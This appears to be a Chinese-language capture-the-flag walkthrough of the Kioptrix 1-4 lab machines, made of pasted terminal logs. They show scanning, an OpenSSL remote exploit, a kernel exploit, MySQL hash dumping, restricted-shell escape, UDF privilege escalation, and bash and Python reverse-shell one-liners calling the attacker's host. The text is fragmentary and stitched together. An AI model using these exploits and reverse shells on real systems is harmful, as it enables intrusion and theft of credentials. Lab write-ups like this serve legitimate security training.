TRACEROUTE HOP RTT ADDRESS 1 14.76 ms 192.168.214.136
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Sep 28 21:43:26 2018 -- 1 IP address (1 host up) scanned in 267.95 seconds
[+] Attached to 7390 [+] Signal caught [+] Shellcode placed at 0x4001189d [+] Now wait for suid shell... ls p id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) whoami root
root@kali:~/Desktop/openssl-too-open# ./openssl-too-open : openssl-too-open : OpenSSL remote exploit by Solar Eclipse <solareclipse@phreedom.org>
Usage: ./openssl-too-open [options] <host> -a <arch> target architecture (default is 0x00) -p <port> SSL port (default is 443) -c <N> open N apache connections before sending the shellcode (default is 30) -m <N> maximum number of open connections (default is 50) -v verbose mode
Supported architectures: 0x00 - Gentoo (apache-1.3.24-r2) 0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1) 0x02 - Slackware 7.0 (apache-1.3.26) 0x03 - Slackware 8.1-stable (apache-1.3.26) 0x04 - RedHat Linux 6.0 (apache-1.3.6-7) 0x05 - RedHat Linux 6.1 (apache-1.3.9-4) 0x06 - RedHat Linux 6.2 (apache-1.3.12-2) 0x07 - RedHat Linux 7.0 (apache-1.3.12-25) 0x08 - RedHat Linux 7.1 (apache-1.3.19-5) 0x09 - RedHat Linux 7.2 (apache-1.3.20-16) 0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP) 0x0b - RedHat Linux 7.3 (apache-1.3.23-11) 0x0c - SuSE Linux 7.0 (apache-1.3.12) 0x0d - SuSE Linux 7.1 (apache-1.3.17) 0x0e - SuSE Linux 7.2 (apache-1.3.19) 0x0f - SuSE Linux 7.3 (apache-1.3.20) 0x10 - SuSE Linux 8.0 (apache-1.3.23-137) 0x11 - SuSE Linux 8.0 (apache-1.3.23) 0x12 - Mandrake Linux 7.1 (apache-1.3.14-2) 0x13 - Mandrake Linux 8.0 (apache-1.3.19-3) 0x14 - Mandrake Linux 8.1 (apache-1.3.20-3) 0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)
root@kali:~/Desktop/openssl-too-open# ./openssl-too-open -a 0x09 192.168.214.136 : openssl-too-open : OpenSSL remote exploit by Solar Eclipse <solareclipse@phreedom.org>
bash: no job control in this shell bash-2.05$ bash-2.05$ uname -a; id; w; Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown uid=48(apache) gid=48(apache) groups=48(apache) 11:11pm up 2:25, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT bash-2.05$ bash-2.05$ ls ls bin boot dev etc home initrd lib lost+found misc mnt opt proc root sbin tmp usr var bash-2.05$ id id uid=48(apache) gid=48(apache) groups=48(apache) bash-2.05$
TRACEROUTE HOP RTT ADDRESS 1 0.26 ms 192.168.214.138
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.43 seconds
web端弹shell
打开主页http://192.168.214.138/是一个登陆框
查看页面源代码提示Administator <!-- Start of HTML when logged in as Administator -->
root@kali:/# nc -lvvp 7777 listening on [any] 7777 ... 192.168.214.138: inverse host lookup failed: Unknown host connect to [192.168.214.139] from (UNKNOWN) [192.168.214.138] 32769 bash: no job control in this shell bash-3.00$ ls index.php pingit.php bash-3.00$ id uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ gcc -o 0x82-CVE-2009-2698 9542.c 9542.c:109:28: warning: no newline at end of file bash-3.00$ ls 0x82-CVE-2009-2698 9542.c les.sh bash-3.00$ ./0x82-CVE-2009-2698 sh: no job control in this shell
sh-3.00# id uid=0(root) gid=0(root) groups=48(apache)
root@kali:~# nmap -sS -A 192.168.214.140 Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-18 08:51 EDT Nmap scan report for 192.168.214.140 Host is up (0.00032s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA) |_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch |_http-title: Ligoat Security - Got Goat? Security ... MAC Address: 00:0C:29:A9:2C:B4 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.32 ms 192.168.214.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds
root@kali:~# nc -lvvp 7777 listening on [any] 7777 ... connect to [192.168.214.139] from kioptrix3.com [192.168.214.140] 44671 ls cache core data favicon.ico gallery gnu-lgpl.txt index.php modules style update.php id uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功得到shell
1 2 3 4 5 6 7 8 9 10
$ uname -a uname -a Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux $ lsb_release -a lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 8.04.3 LTS Release: 8.04 Codename: hardy
之后想利用漏洞来提权，但试了好几个exp都没有成功
1 2 3 4
www-data@Kioptrix3:/tmp$ ls ls 40616.c 5092.c 8556.c a.out c0w les.sh 5092 5093.c LinEnum.sh bak c0w.c
www-data@Kioptrix3:/home/www/kioptrix3.com$ cat /home/www/kioptrix3.com/gallery/gconfig.php <w/kioptrix3.com$ cat /home/www/kioptrix3.com/gallery/gconfig.php <?php error_reporting(0); /* A sample Gallarific configuration file. You should edit the installer details below and save this file as gconfig.php Do not modify anything else if you don't know what it is. */
$ mysql -u root -p mysql -u root -p Enter password: fuckeyou
Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 11 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databases; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | gallery | | mysql | +--------------------+ 3 rows in set (0.00 sec)
mysql> use gallery; use gallery; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> show tables; show tables; +----------------------+ | Tables_in_gallery | +----------------------+ | dev_accounts | | gallarific_comments | | gallarific_galleries | | gallarific_photos | | gallarific_settings | | gallarific_stats | | gallarific_users | +----------------------+ 7 rows in set (0.00 sec)
mysql> select * from dev_accounts; select * from dev_accounts; +----+------------+----------------------------------+ | id | username | password | +----+------------+----------------------------------+ | 1 | dreg | 0d3eccfb887aabd50f243b3f155c0f85 | | 2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e | +----+------------+----------------------------------+ 2 rows in set (0.10 sec)
root@kali:~/Desktop# ssh loneferret@192.168.214.140 The authenticity of host '192.168.214.140 (192.168.214.140)' can't be established. RSA key fingerprint is SHA256:NdsBnvaQieyTUKFzPjRpTVK6jDGM/xWwUi46IR/h1jU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.214.140' (RSA) to the list of known hosts. loneferret@192.168.214.140's password: Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106 loneferret@Kioptrix3:~$ id uid=1000(loneferret) gid=100(users) groups=100(users)
登录成功，执行sudo -l
1 2 3 4
loneferret@Kioptrix3:~$ sudo -l User loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht
loneferret@Kioptrix3:~$ sudo -l User loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht (root) NOPASSWD: /bin/bash loneferret@Kioptrix3:~$ sudo bash root@Kioptrix3:/home/loneferret# id uid=0(root) gid=0(root) groups=0(root)
或者直接改为loneferret ALL=(ALL) ALL获得sudo执行所有命令的权限
1 2 3 4 5 6 7
loneferret@Kioptrix3:~$ sudo -l [sudo] password for loneferret: User loneferret may run the following commands on this host: (ALL) ALL loneferret@Kioptrix3:~$ sudo su root@Kioptrix3:/home/loneferret# id uid=0(root) gid=0(root) groups=0(root)
root@kali:~# nmap -sS -A 192.168.214.142 Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-23 08:43 EDT Nmap scan report for 192.168.214.142 Host is up (0.00024s latency). Not shown: 566 closed ports, 430 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA) |_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP) MAC Address: 00:0C:29:12:42:B6 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.25 ms 192.168.214.142
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.05 seconds
Username : robert Password : ADGAdsafdfwt4gadfga==
尝试ssh登录，成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root@kali:~/Desktop# ssh john@192.168.214.143 The authenticity of host '192.168.214.143 (192.168.214.143)' can't be established. RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.214.143' (RSA) to the list of known hosts. john@192.168.214.143's password: Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$ id *** unknown command: id john:~$ ? cd clear echo exit help ll lpath ls john:~$
但给的shell不是一般的shell，限制了只能使用cd clear echo exit help ll lpath ls这些命令
john:~$ echo os.system('/bin/bash') john@Kioptrix4:~$ id uid=1001(john) gid=1001(john) groups=1001(john) john@Kioptrix4:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin loneferret:x:1000:1000:loneferret,,,:/home/loneferret:/bin/bash john:x:1001:1001:,,,:/home/john:/bin/kshell robert:x:1002:1002:,,,:/home/robert:/bin/kshell john@Kioptrix4:~$ uname -a Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux john@Kioptrix4:~$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 8.04.3 LTS Release: 8.04 Codename: hardy
查看网站根目录下页面的源码，能发现数据库的用户密码
1 2 3 4 5 6 7 8
john@Kioptrix4:/var/www$ cat checklogin.php <?php ob_start(); $host="localhost"; // Host name $username="root"; // Mysql username $password=""; // Mysql password $db_name="members"; // Database name $tbl_name="members"; // Table name
给的是mysql的root用户，尝试利用udf来提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14
john@Kioptrix4:~$ mysql -uroot Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 1 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; ERROR 1125 (HY000): Function 'sys_exec' already exists
发现已经存在sys_exec函数，直接利用，将当前用户加到管理组里
老版本linux例外
1 2 3 4 5 6 7 8 9
You can create a new user simply using the adduser(8) command.
To make it a user capable of performing sudo, add him to the sudo group using either of the following commands:
sudo usermod -a -G sudo <username> sudo adduser <username> sudo This works because the sudo group is predefined in /etc/sudoers. Note though that older versions of Ubuntu will use admin as group instead:
Until Ubuntu 11.10, the Unix group for administrators with root privileges through sudo had been admin. Starting with Ubuntu 12.04 LTS, it is now sudo, for compatibility with Debian and sudo itself. However, for backwards compatibility, admin group members are still recognized as administrators
mysql> select sys_exec('usermod -a -G admin john'); +--------------------------------------+ | sys_exec('usermod -a -G admin john') | +--------------------------------------+ | NULL | +--------------------------------------+ 1 row in set (0.08 sec)
mysql> quit Bye john@Kioptrix4:~$ sudo -s [sudo] password for john: == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands root:~$ id *** unknown command: id root:~$ root:~$ quit john@Kioptrix4:~$ sudo su root@Kioptrix4:/home/john# id uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix4:/dev# bash -i >& /dev/tcp/192.168.214.139/7777 0>&1 bash: /dev/tcp/192.168.214.139/7777: No such file or directory
1 2
os-shell> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.214.139",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' do you want to retrieve the command standard output? [Y/n/a] y
